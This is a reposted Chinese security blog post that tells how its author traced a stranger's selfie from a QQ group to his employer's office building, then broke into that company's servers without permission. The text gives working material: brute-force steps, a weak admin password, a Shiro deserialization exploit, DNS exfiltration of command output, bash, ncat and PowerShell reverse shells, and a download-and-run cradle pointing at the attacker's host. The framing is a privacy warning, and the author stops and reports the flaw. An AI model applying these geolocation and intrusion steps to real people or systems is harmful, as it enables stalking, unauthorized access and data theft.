不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

admin 2024年5月24日23:02:10评论9 views字数 5576阅读18分35秒阅读模式

起因

接下来,我开始了一段社工t图片旅程。某一天,一个我不认识的兄弟在一个小型的QQ群里发了一张图片,吐槽自己正在加班。被我的小伙伴拉进这个群,我闲着也是闲着,于是和这位兄弟简单聊了一下。我不禁感到“同是加班人,相聊曾相识”。接着,我想试试看能不能把他的信息找出来。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

经过

首先,我只收到了这张图,不过由于被QQ压缩过,清晰度并不高。但是放大之后,我勉强能看清一些细节,比如:

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

首先,放大图片后,虽然清晰度受到了QQ压缩的影响,但我还是能辨认出一些信息。哈哈,不过看上去你们可能完全认不出来写的是什么,因为我进行了打码处理。

在未打码之前,其实我也只能清楚看到后面的四个字。最后两个字是“双语”,第二和第三个字虽然模糊,但还是可以勉强辨认出来,不过具体内容就不透露了。第一个字完全认不出来。但这里有一个关键点:即使这些字不清晰,大家应该也注意到了这五个字的颜色是不同的,这意味着它们是彩色的牌子。结合最后两个字“双语”以及一些生活经验,大家应该能猜到这是一个地方了。没错,这其实是一个某某双语幼儿园的标志!

有了这些线索,我直接在百度搜索这两个字。至于第一个字是否知道,其实并不太影响整个搜索的结果。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

我现在身处深圳,因此百度直接弹出了深圳相关的信息。这给了我两个关键信息。首先,如果我没认错的话,幼儿园前面的两个字排除了深圳的可能性。其次,既然提到了地点,我可以加上他所在的地区来缩小范围。于是我赶紧登陆了QQ,打开了信息查询功能。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

哈哈,看来情况有些出乎意料呢!既然连北京都没有,那可能就要重新审视一下那两个字了。或许是我理解有误,也可能是幼儿园的名称不是那么直接。不过别着急,重新审视一下,或者再结合一些其他的线索,或许能找到正确的答案。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

嗯,考虑到他是你朋友的大学同学,而且都在武汉上学,按照常理来说,他很可能在武汉工作。因此,你尝试在幼儿园名称前面加上了“武汉”这两个字,希望能更准确地定位。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

年轻人啊,个人信息里写的地址总是和实际情况不符,真是让人啼笑皆非。这个我在武汉上学工作的兄弟,竟然把地址写成了北京。一时间,我不由得感叹现代年轻人的轻佻浮躁。

但随后,转念一想,如果他真的是北京户口,那可是让人羡慕不已啊。心中涌起一阵酸楚,泪水不禁涌出。

现在,我已经找到了照片中的那个幼儿园,找到这个拍摄者的位置应该不是难事。首先,打开地图,仔细观察周围的环境。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

通过观察,我发现扇形的公园和幼儿园的位置十分吻合。附近的楼房位置也和地图上的几乎一模一样。这进一步确立了目标的地址,就是地图上搜索到的位置。

现在,我可以放心地打开实景地图进行搜寻了。首先,点击了幼儿园的位置,进入了实景模式。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

经过地图的指引,我们知道接下来需要往南走。中间的路途就不再详细描述,直接朝着目的地前进。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

没错,可以确定就是这栋写字楼了。这种写字楼通常类似于软件园,多家公司共用一栋楼,各自租用不同楼层办公。从拍摄者的角度初步判断,应该是在8层以上的高层。另外,通过一些照片的细节判断,应该是在右边第一列。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

目前,从这张照片获取的信息就是这些了。我们知道这栋楼是2A栋,位于某个软件园。接下来,就可以到天眼查上查找更多信息了。输入具体地址后,跳出来了一堆公司。简单查看了一下,发现2A栋8层以上的公司也不少。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

在此过程中,我们面临一个新的挑战:如何确定具体的几号或几室?这个问题根据我们目前掌握的信息无法解决。正当我一筹莫展时,随手点击了一下这个地址,竟然跳到了一个新的界面。卧槽,这不正是“山重水复疑无路,柳暗花明又一村”吗?不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

于是,我随便点击了一个,找到了中介的联系方式,迅速加了微信!接着,直奔主题开始询问。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

于是,范围被大大缩小了。我开始查看有哪些公司,最终整理出两家公司可能性最大,分别是12层3号和15层3号。一家是房屋建筑业,另一家是软件和信息技术服务业。随后,我询问了我的同学,得知他的大学专业是软件工程。哦豁,不用再想了,已经有99%的把握确定了那个兄弟的公司。

接着,点击进入公司介绍页面,发现里面有一个网站。简单浏览后,我找到一个登录界面。第一时间,我想到的就是使用弱口令攻击、爆破和注入等基本操作。

话不多说,我立即打开了Burp Suite (BP) 开始操作。由于存在验证码,无法直接通过Intruder模块爆破。我决定使用PKAV HTTP Fuzzer,这是一款专门处理较简单验证码的工具。它的用法和BP类似,首先抓取登录时的数据包。尽管这款软件本身没有抓包功能,我还是使用BP抓包,然后将数据包复制到PKAV HTTP Fuzzer中。与BP的区别在于,这里可以添加验证码标记。接着,复制验证码图片的网络地址,进行识别,成功绕过验证码后,开始进行爆破。(图片仅供参考,非实际截图)

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置
不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

然而,数百秒过去了,仍然没有任何结果。显然,密码复杂度很高,这条路行不通了。于是我手动测试了一下,看看是否存在可以直接以管理员身份登录的逻辑漏洞。多次尝试无果后,只能另寻他路。

接下来,我扫了下目录,但没有发现什么有价值的内容。然后我扫描了下端口,发现22端口开着。明知山有虎,偏向虎山行,果然,使用hydra进行爆破后依然没有任何收获,这条路也被堵住了。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

突然,我注意到一个奇怪的端口:8099。好奇心驱使着我,立刻通过web访问查看。结果发现这是一个登录系统,看上去像是他们员工使用的系统,顿时感觉有点希望了。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置于是,我随便抓了个包看看,发现密码是加密的,老套路行不通了。只能试试弱口令,于是用admin账号试了几个常见密码,如111111、123456,结果用admin123竟然成功登录了。刚要高兴,却发现后台功能非常简单,没有上传点,没有SQL注入,甚至连XSS都没有,无法直接获取权限。这可真是让人郁闷至极。无奈之下,只能查看BURP,有没有什么意外的发现。好家伙,不看不知道,一看吓一跳……

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

这不是shiro反序列化的rememberme漏洞吗?想到这里,我决定对登录接口进行shiro反序列化测试。首先,ping一下dnslog平台,看看是否能接收到数据。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

dnslog平台成功接收到了数据,证明漏洞存在。接下来,我开始准备反弹shell。首先监听一个端口:

nc -lvvp 1234

然后,制作反弹shell的代码。对以下代码进行反序列化并绕过base64编码:

bash -i >& /dev/tcp/IP/1234 0>&1

最后,使用shiro的exp进行反弹shell攻击。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

exp执行完后,仍然没有收到反弹的shell。虽然能ping通,但无法反弹回来shell,这时我们首先考虑两种可能:

  1. 反弹的命令不对,服务器可能是Windows系统,不支持bash反弹。
  2. 协议不对,目标服务器可能限制了出网的协议,不能使用tcp。这时可以尝试使用icmp协议反弹shell。

先判断一下其他命令能否执行,通过dnslog带出来。假如目标服务器是Linux系统,我们可以使用反引号加上whoami,再拼接到dnslog平台上,将当前用户名带出来。如果带不出来,说明可能不能执行,这时就很可能是Windows系统。

`whoami`.dnslog平台地址
不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

DNSLOG没有带出数据,于是我们改用ceye平台尝试一下。

首先在ceye平台上注册一个账号并获取专属的域名和API key,然后使用类似的方法进行测试。

`whoami`.ceye.io

再次尝试通过dns查询将当前用户名带出来,观察ceye平台是否能够接收到数据。如果能接收到数据,就可以进一步确认目标系统的类型和命令执行情况。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

然后,ceye平台收到了请求,外带的数据是root。这确认了目标服务器是Linux系统,并且可以执行命令。

接下来,我们继续利用这个信息进行进一步操作。由于bash反弹shell没有成功,可能是出网协议的问题。我们尝试使用icmp协议反弹shell。这里是一个利用icmp反弹shell的示例代码:

首先监听icmp反弹:

sudo ncat -e /bin/bash -lvp 1234 --allow IP --allow ICMP

然后使用以下代码进行反弹:

mkfifo /tmp/icmpsh; /bin/sh -i < /tmp/icmpsh 2>&1 | ncat --udp IP 1234 > /tmp/icmpsh; rm /tmp/icmpsh

这将尝试通过icmp协议进行反弹shell,确保在防火墙限制出网的情况下依然能获取shell。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

这个时候你可能觉得目标服务器是Linux系统,其实并不是这样。因为在使用反引号时,命令在我们本机执行,whoami被替换成了root(其实我一开始也觉得是Linux系统了)。然而,我不甘心,又执行了一个cat /etc/hostname,结果发现主机名和我的主机名相同,这让我意识到不对劲。后来想起反引号需要转义一下,数据在发送之前就已经被执行了。

正确的操作是对反引号进行转义,确保命令在目标服务器上执行:

`whoami`.ceye.io

或者使用另一个方式,如:

$(whoami).ceye.io

再次进行测试,通过ceye平台确认命令是否在目标服务器上执行。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

我们将反引号转义后再次发送,ceye平台没有收到解析记录,说明服务器没有执行我们的whoami命令。接下来,尝试使用PowerShell反弹shell。

首先,在本地下载一个PowerShell脚本,并在脚本所在目录下启动一个HTTP服务:

python -m http.server 80

然后监听2222端口:

nc -lvvp 2222

接着,在目标服务器上执行以下PowerShell命令进行反弹shell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://your_ip/script.ps1')"

脚本内容可以是:

$client = New-Object System.Net.Sockets.TCPClient('your_ip',2222);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

确保在执行此命令之前,一切准备就绪,等待反弹shell连接。不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

成功反弹shell的步骤如下:

首先,使用以下命令运行shiro_rce1.py脚本,指向目标服务器并传递反弹shell的PowerShell命令:

python3 shiro_rce1.py https://xxx/xxx/xx/login "powershell IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xx.xx.xx.xx -port 2222"

确保Invoke-PowerShellTcp.ps1脚本已经下载到本地,并在HTTP服务目录下启动一个HTTP服务:

python -m http.server 80

接着,在本地监听2222端口,等待反弹shell连接:

nc -lvvp 2222

这样,运行上述命令后,PowerShell成功反弹shell,你已经获取到目标服务器的shell。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

结果

拿到shell后,我原本打算继续深入渗透,看看能不能找到那位兄弟的资料,这样可能会有个戏剧性的结果。然而,冷静下来仔细思考了一会儿,我意识到这可是未授权渗透,继续下去的话,一旦被发现,后果将会非常严重。于是,我果断止步于此,转而提交了一个CNVD事件型的漏洞。

随后,通过QQ联系那位兄弟,简单地向他说明了情况,并建议他向他们领导或者其他懂安全的人反馈此事。同时,我还顺便给他普及了一些基本的安全知识。

不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

结语

一切始于一张看似平凡的快照,这张无意中的照片竟使一名陌生人锁定了他所在的公司。更严重的是,这次通过漏洞获取的shell可能使他获取了更关键的资料,给公司带来了损失。因此,我们应该提醒自己,日常生活中的一些看似无关紧要的行为可能会泄露敏感信息。这就是为何我们需要培养良好的安全意识。

回顾1964年的一起著名照片泄密事件,一张刊载在《中国画报》封面的简单照片描绘了在大雪中穿着棉袄凝视远方。然而,专家从这张照片中解析出了秘密。

接下来,我在拿到目标网站后的操作相当基础。虽然使用的弱口令攻击简单,但危害极大,现今仍然普遍存在,这正反映了安全意识的不足。在进行shiro反序列化的过程中,虽然遇到了些小问题,但幸运的是,并没有遇到太多障碍便成功获取了shell。也许还有其他我未注意到的漏洞。当然,我也不能再继续深挖下去了,否则,再看到这篇文章时,可能我就已经身处囹圄之中了.

原文始发于微信公众号(网安守护):不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日23:02:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不要随便社交场所发你照片,否则你的一张自拍照完全会泄露你的公司或个人位置https://cn-sec.com/archives/2772734.html

发表评论

匿名网友 填写信息